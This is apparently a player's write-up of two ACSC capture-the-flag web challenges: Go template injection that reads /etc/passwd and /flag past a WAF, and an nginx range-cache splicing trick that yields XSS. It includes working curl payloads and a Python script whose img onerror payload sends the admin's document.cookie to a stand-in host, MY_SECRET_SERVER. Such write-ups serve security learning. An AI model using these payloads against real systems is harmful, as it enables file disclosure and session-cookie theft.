Asian Cyber Security Challenge (ACSC) is an annual CTF where players are competing individually, and the best young Asians will be selected form a team to represent Asia to compete with others. I ended up winning the competition among 450+ players. Unfortunately, I am unable to qualify because of the age and nationality conditions.

In this blog post, I will cover two web challenges, @t0nk42’s easySSTI (43 solves) and @tyage’s Gotion (9 solves).

easySSTI

Challenge Summary

We are given a web app written with the Echo framework in Golang, which renders the content given a template string in the Template header. For instance, setting the Template header by {{ .Request.RemoteAddr }} would show 172.0.0.1:31337.

However, the application is served behind a firewall (WAF) that drops all the HTTP responses containing the flag format (i.e., ACSC{.*}).

The goal is to read the flag.

Solution

Part I: Understanding the challenge

To start with, we may want to understand why {{ .Request.RemoteAddr }} prints the IP address. The below code snippet is the handleIndex function, which handles GET /. I commented the function for ease of reading.

func handleIndex(c echo.Context) error {
    // Reads the template. This either comes from the "Template" header user
    // supplied, or a default value otherwise. The value is defined by a
    // middleware which is not included here.
    tmpl, ok := c.Get("template").([]byte)

    if !ok {
        return fmt.Errorf("failed to get template")
    }

    tmplStr := string(tmpl)

    // The `Parse` function converts a string into a template.Template instance.
    // Reference: https://pkg.go.dev/html/template#Template.Parse
    t, err := template.New("page").Parse(tmplStr)
    if err != nil {
        return c.String(http.StatusInternalServerError, err.Error())
    }

    buf := new(bytes.Buffer)

    // The `Execute` function applies the given template to the data object
    // (which is `c` in our case) and sets the results to `buf`.
    // Reference: https://pkg.go.dev/html/template#Template.Execute
    if err := t.Execute(buf, c); err != nil {
        return c.String(http.StatusInternalServerError, err.Error())
    }

    return c.HTML(http.StatusOK, buf.String())
}

Here c is an echo.Context, which is an interface with several methods. In the example, it uses the Request() method which returns a pointer of a http.Request. It has a field called RemoteAddr.

In our example, we can imagine that {{ .Request.RemoteAddr }} behaves the same as evaluating c.Request().RemoteAddr and printing the results.

Part II: An invalid trivial solution

There is a File function from echo.Context that allows us to read an arbitrary file. For instance, we can access the content of /etc/passwd with the template being {{ .File "/etc/passwd" }}:

curl 'http://localhost:8000/' -H 'template: {{ .File "/etc/passwd" }}' 
root:​x:0:0:root:/root:/bin/bash
daemon:​x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:​x:2:2:bin:/bin:/usr/sbin/nologin
sys:​x:3:3:sys:/dev:/usr/sbin/nologin
sync:​x:4:65534:sync:/bin:/bin/sync
games:​x:5:60:games:/usr/games:/usr/sbin/nologin
man:​x:6:12:​man:/var/cache/man:/usr/sbin/nologin
lp:​x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:​x:8:8:mail:/var/mail:/usr/sbin/nologin
news:​x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:​x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:​x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:​x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:​x:34:34:backup:/var/backups:/usr/sbin/nologin
list:​x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:​x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:​x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:​x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:​x:​100:65534::/nonexistent:/usr/sbin/nologin

Of course, we cannot read /flag because it is blocked by the firewall:

curl 'http://localhost:8000/' -H 'template: {{ .File "/flag" }}' 
??

Unfortunately, the File function does not return the file content as a string. The content is instead served directly (see lines 11-13 and 24-49 of context_fs.go). Thus we cannot manipulate the output via variables (or pipelines) like below:

curl 'http://localhost:8000/' \
    -H 'template: {{ with $x := "ACSC{this_is_a_test_flag}" }}{{ slice $x 1 }}{{ end }}'
CSC{this_is_a_test_flag}

Part III: Embedding, or Golang’s inheritance1

We can get an instance of the echo.Echo struct by accessing {{ .Echo }}. Note that it embeds two structs, echo.filesystem and echo.common. Therefore we have access to their methods and attributes. In particular, we have the Filesystem instance (which is a fs.FS). Now we can open a file with the Open method provided:

curl 'http://localhost:8000/' \
    -H 'template: {{ .Echo.Filesystem.Open "/etc/passwd" }}'
{0xc0001a1bc0}

The {0xc0001a1bc0} returned is actually a fs.File, which has a Read function. The signature of the function is Read([]byte) (int, error), and we need to give it an []byte to overwrite. Fortunately, the template itself is a []byte, and we can access it with {{ .Get "template" }}.

Chaining it together, we can read the flag – ACSC{h0w_did_y0u_leak_me}:

curl 'http://localhost:8000/' \
    -H 'template: {{ $y := .Get "template" }}{{ $x := .Echo.Filesystem.Open "/flag" }}{{ $z := $x.Read $y }}{{ $y }}'
[65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 125 123 123 32 36 120 32 58 61 32 46 69 99 104 111 46 70 105 108 101 115 121 115 116 101 109 46 79 112 101 110 32 34 47 102 108 97 103 34 32 125 125 123 123 32 36 122 32 58 61 32 36 120 46 82 101 97 100 32 36 121 32 125 125 123 123 32 36 121 32 125 125]

There are four actions in the above template:

  1. {{ $y := .Get "template" }} reads the template and assigns it to $y,
  2. {{ $x := .Echo.FileSystem.Open "/flag" }} opens /flag and assigns the instance of fs.File to $x,
  3. {{ $z := $x.Read $y }} reads the content of /flag and writes to $y, and
  4. {{ $y }} prints the value of $y, where the flag is overwritten.
🐣 Why $z := $x.Read $y? Here $z := is used to surpress the return value of Read($y) to be printed. In this case, it would be an integer.

Gotion

Challenge Summary

We are given another web app written in Golang implementing a note system. We are allowed to create and update notes. The content (including both the title and the body) will be handled by the html/template package to avoid injections like XSS. Additionally, the web app is served behind nginx with a smart caching feature, which caches .mp4 files.

The goal is to create a XSS to steal the admin’s cookie.

Solution

Part I: Sussy nginx configuration

The configuration of nginx is given to us:

proxy_cache_path /tmp/nginx keys_zone=mycache:10m;
server {
    listen 80;

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        # $is_args = '?' if there are arguments, and $is_args = '' otherwise
        # $args are the GET parameters, e.g. ?foo=bar
        # $slice_range, for example, could be "bytes=0-4095"
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

    location / {
        proxy_pass http://app:3000;
    }
}

When I read the configuration file, .mp4$ has caught my attention. From the use of $, it is supposed to be a regular expression. In that case . would be a wildcard. Thus, paths ending with [WHATEVER]mp4 (instead of .mp4) would be cached.

We can create a note titled mp4 (the path generated would be /notes/[UUID]-mp4) to verify the caching behaviour. For instance, we can see that a cache file is created under /tmp/nginx, with cache key being localhost/notes/[UUID]-mp4bytes=0-4095:

If we create a large enough note (for instance, if we set the body to be 1024 &s, then the response would end up ~13 kB). In that case, the response will be cached into four parts: $[0, 4096)$, $[4096, 8192)$, $[8192, 12288)$ and $[12288, 16384)$.

ls -al /tmp/nginx
total 36
drwx------ 2 nginx root  4096 Mar 28 15:20 .
drwxrwxrwt 1 root  root  4096 Mar 28 15:21 ..
-rw------- 1 nginx nginx 4768 Mar 28 15:20 3d9b2fdc36fefca75ea9cff6c01f171c
-rw------- 1 nginx nginx 4760 Mar 28 15:20 6a6f810a210e00434094f6110e74dd9e
-rw------- 1 nginx nginx 4766 Mar 28 15:20 dd674b8be2b1b457d437487bd125d57b
-rw------- 1 nginx nginx  879 Mar 28 15:20 ea5c57612df19a2c0bd7a4880fa46c18
hd /tmp/nginx/6a6f810a210e00434094f6110e74dd9e | head -n 11
00000000  05 00 00 00 00 00 00 00  c8 13 23 64 00 00 00 00  |..........#d....|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  cb ec 1f 64 00 00 00 00  b8 05 23 64 00 00 00 00  |...d......#d....|
00000030  34 c3 61 18 00 00 9b 01  98 02 00 00 00 00 00 00  |4.a.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000150  0a 4b 45 59 3a 20 6c 6f  63 61 6c 68 6f 73 74 2f  |.KEY: localhost/|
00000160  6e 6f 74 65 73 2f 65 34  64 38 39 31 66 30 2d 30  |notes/e4d891f0-0|
00000170  32 63 62 2d 34 65 38 62  2d 38 33 62 65 2d 35 34  |2cb-4e8b-83be-54|
00000180  37 65 30 61 66 63 63 64  32 32 2d 6d 70 34 62 79  |7e0afccd22-mp4by|
00000190  74 65 73 3d 30 2d 34 30  39 35 0a 48 54 54 50 2f  |tes=0-4095.HTTP/|
hd /tmp/nginx/dd674b8be2b1b457d437487bd125d57b | head -n 11
00000000  05 00 00 00 00 00 00 00  c8 13 23 64 00 00 00 00  |..........#d....|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  cb ec 1f 64 00 00 00 00  b8 05 23 64 00 00 00 00  |...d......#d....|
00000030  96 5d 64 16 00 00 9e 01  9e 02 00 00 00 00 00 00  |.]d.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000150  0a 4b 45 59 3a 20 6c 6f  63 61 6c 68 6f 73 74 2f  |.KEY: localhost/|
00000160  6e 6f 74 65 73 2f 65 34  64 38 39 31 66 30 2d 30  |notes/e4d891f0-0|
00000170  32 63 62 2d 34 65 38 62  2d 38 33 62 65 2d 35 34  |2cb-4e8b-83be-54|
00000180  37 65 30 61 66 63 63 64  32 32 2d 6d 70 34 62 79  |7e0afccd22-mp4by|
00000190  74 65 73 3d 34 30 39 36  2d 38 31 39 31 0a 48 54  |tes=4096-8191.HT|
hd /tmp/nginx/3d9b2fdc36fefca75ea9cff6c01f171c | head -n 11
00000000  05 00 00 00 00 00 00 00  c8 13 23 64 00 00 00 00  |..........#d....|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  cb ec 1f 64 00 00 00 00  b8 05 23 64 00 00 00 00  |...d......#d....|
00000030  47 51 ff 48 00 00 9f 01  a0 02 00 00 00 00 00 00  |GQ.H............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000150  0a 4b 45 59 3a 20 6c 6f  63 61 6c 68 6f 73 74 2f  |.KEY: localhost/|
00000160  6e 6f 74 65 73 2f 65 34  64 38 39 31 66 30 2d 30  |notes/e4d891f0-0|
00000170  32 63 62 2d 34 65 38 62  2d 38 33 62 65 2d 35 34  |2cb-4e8b-83be-54|
00000180  37 65 30 61 66 63 63 64  32 32 2d 6d 70 34 62 79  |7e0afccd22-mp4by|
00000190  74 65 73 3d 38 31 39 32  2d 31 32 32 38 37 0a 48  |tes=8192-12287.H|
hd /tmp/nginx/ea5c57612df19a2c0bd7a4880fa46c18 | head -n 11
00000000  05 00 00 00 00 00 00 00  c8 13 23 64 00 00 00 00  |..........#d....|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  cb ec 1f 64 00 00 00 00  b8 05 23 64 00 00 00 00  |...d......#d....|
00000030  4a cd 30 04 00 00 a0 01  a1 02 00 00 00 00 00 00  |J.0.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000150  0a 4b 45 59 3a 20 6c 6f  63 61 6c 68 6f 73 74 2f  |.KEY: localhost/|
00000160  6e 6f 74 65 73 2f 65 34  64 38 39 31 66 30 2d 30  |notes/e4d891f0-0|
00000170  32 63 62 2d 34 65 38 62  2d 38 33 62 65 2d 35 34  |2cb-4e8b-83be-54|
00000180  37 65 30 61 66 63 63 64  32 32 2d 6d 70 34 62 79  |7e0afccd22-mp4by|
00000190  74 65 73 3d 31 32 32 38  38 2d 31 36 33 38 33 0a  |tes=12288-16383.|

In particular, we can selectively cache part of the HTTP response using the Range header. For instance, we can only cache bytes $[4096, 8192)$ using

curl http://localhost:30080/notes/[UUID]-mp4 -H 'Range: bytes=4096-4096'

Part II: Caching the XSS payload

html/template sanitizes the user input properly. For example, < would be replaced to &lt;. If we want to start a HTML tag (i.e., getting a <), we have to use the one existed in the template.

The below HTML snippet is the first 4096 bytes if we set the title to be mp4 and the body to be &&&...&> (622 &’s). In particular, the last byte is a <:

<!DOCTYPE html>
<html lang="en">

<head>
  [...SNIPPED...]
</head>

<body>

  <div class="container">
    <div class="card mt-5">
      <div class="card-body">
        <h4 class="card-title">mp4</h4>
        <pre>&amp;&amp;&amp; [...SNIPPED...] &amp;&amp;&amp;&gt;<

On the other hand, if we set the body to

&&&...&img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x 

The bytes in $[4096, 8192)$ in the HTTP response would be

img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x </pre>
      </div>
    </div>

    <div>
      <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#editNote">
        Edit
      </button>
      <form action="/report" method="POST" id="report">
        <input type="hidden" name="path" value="notes/[UUID]-mp4">
        <button class="g-recaptcha btn btn-link" data-sitekey="" data-callback="onReport"
          data-action="submit">Report</button>
      </form>
    </div>

    [...SNIPPED...]

If we concatenate the responses, we can see that there is an image tag in between:

<img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=x </pre>

The image tag would be rendered if we cache the two responses individually. Now we can report it to the admins and get their cookies stolen:

ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}

Solution script

import requests

# HOST = 'http://gotion-2.chal.ctf.acsc.asia:30080'
HOST = 'http://localhost:30080'

# Now the 4096th byte is a "<"
# Setting allow_redirects=False to avoid reading the note after it is created.
# This is to prevent the HTTP response getting cached.
r = requests.post(f'{HOST}/new-note', data={
    'title': 'mp4',
    'body': b'&'*622 + b'>'
}, allow_redirects=False)

note_url = r.headers.get('location')

note_id = note_url.split('/')[-1]

r = requests.get(f'{HOST}{note_url}', headers={
    'range': 'bytes=0-0'
})
# Now the first cache ends with a '<'

r = requests.post(f'{HOST}/update-note', data={
    'noteId': note_id,
    'title': 'mp4',
    'body': b'&'*623 + b'img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=http://MY_SECRET_SERVER:4444/1 '
}, allow_redirects=False)

r = requests.get(f'{HOST}{note_url}', headers={
    'range': 'bytes=4096-4096'
})
# ...and the second cache starts with 'img onerror=window.location=`http://MY_SECRET_SERVER:4444/2?${document.cookie}` src=http://MY_SECRET_SERVER:4444/1 </pre>'

# report this link to the server!
print(note_url[1:])

# ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}
'''
# Logs from MY_SECRET_SERVER:4444
35.194.228.105 - - [25/Feb/2023 22:08:56] code 404, message File not found
35.194.228.105 - - [25/Feb/2023 22:08:56] "GET /1 HTTP/1.1" 404 -
35.194.228.105 - - [25/Feb/2023 22:08:56] code 404, message File not found
35.194.228.105 - - [25/Feb/2023 22:08:56] "GET /2?FLAG=ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus} HTTP/1.1" 404 -
'''

  1. Mark McGranaghan and Eli Bendersky (2022) “Go by Example: Struct Embedding”
    https://gobyexample.com/struct-embedding ↩︎